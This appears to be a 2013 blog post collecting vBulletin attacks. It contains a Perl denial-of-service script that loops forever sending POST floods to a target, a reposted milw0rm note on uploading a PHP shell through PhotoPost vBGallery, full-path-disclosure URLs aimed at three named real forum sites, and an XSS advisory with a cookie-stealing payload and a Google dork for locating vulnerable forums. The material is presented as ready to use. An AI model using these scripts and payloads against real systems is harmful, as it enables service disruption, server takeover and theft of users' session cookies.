Wednesday, 15 May 2013

ALL version


 DOS Vbulletin 
# DOS Vbulletin 92% Works ;)
#
# Tested on all versions! and can DOS the server
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$user="vb".$rand.$i;
$data = "s="
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};

photopostvbgal-upload.txt


Cold z3ro/photopostvbgal-upload.txt 


vBulletin PhotoPost vBGallery v2.x Remote File Upload
 
Found by : Cold z3ro
 
e-mail : exploiter@hackteach.org
 
Home page : www.Hack.ps
 
==============================
 
exploit usage :
 
http://localhost/Forum/$gallery_path/upload.php
 
here the exploiter can upload php shell via this script
 
by renamed it's name to $name.php.wmv
 
but first he should be a user in the forum
 
thats so important to him cus the uploaded file will be
 
in his account nomber folder .
 
example :
 
user : Cold z3ro
 
his account nomber is 4 as shown in link ,
 
the uploaded file ( shell ) will be in
 
http://localhost/Forum/$gallery_path/files/4/$name.php.wmv
 
id the user Cold z3ro have acconut nomber as example ( 12345 )
 
the file path is
 
http://localhost/Forum/$gallery_path/files/1/2/3/4/5/$name.php.wmv
 
===================
 
i want tho thank all members in www.hackteach.org forums , best work u are done.
 
thank u .
 
# hackteach.org
 
# milw0rm.com [2008-07-15]

Exploit VBB 4.2

# Full Path Disclosure:4.1.9/ 4.2.0

http://localhost/path/forumdisplay.php?do[]=linc0ln.dll
http://localhost/path/calendar.php?do[]=linc0ln.dll
http://localhost/path/search.php?do[]=linc0ln.dll
ví dụ

http://www.ezoforum.pl/search.php?do[]=linc0ln.dll
http://www.eprog.pl/search.php?do[]=linc0ln.dll
http://www.englishsabla.com/forum/search.php?do[]=linc0ln.dll 

vBulletin 4.2.0 Cross Site Scripting

$------------------------------------------------------------------------------------------------------------
$ vBulletin 4.2.0 XSS Vulnerability
$ Author : sangteamtham
$ Home : Hcegroup.vn
$ Date :06/13/2012
$ Google Dork: "Powered by vBulletin® Version 4.2.0"
$*************************************************************************************************************
1.vBulletin Description:
 Content publishing, search, security, and more— vBulletin has it all.
 Whether it’s available features, support, or ease-of-use, vBulletin offers the most for your money.
 Learn more about what makes vBulletin the choice for people who are serious about creating
 thriving online communities.
2. Vulnerability Description:
To steal cookie from administrator or any member in a forum or drive them to malicious sites, attacker will firstly create an account, then come to
calendar section, and create an event for himself.
In title, he will inject XSS code there. For sample:
"><img src=x onerror=alert(1)>
In content section, he will write everything he likes. Now, he will send his profile to Administrator or any member
and wait for cookie or victims' infection.
3. Patch:
June 13, 2012: Contacted the vendor.
June 14, 2012: Vendor replied me.
June 18, 2012: the vendor released the patch for this vulnerabitily. Please download it from member Area right now.
$**************************************************************************************************************
$ Greetz to: All Vietnamese hackers and Hackers out there researching for more security
$
$
$---------------------------------------------------------------------------------------------------------------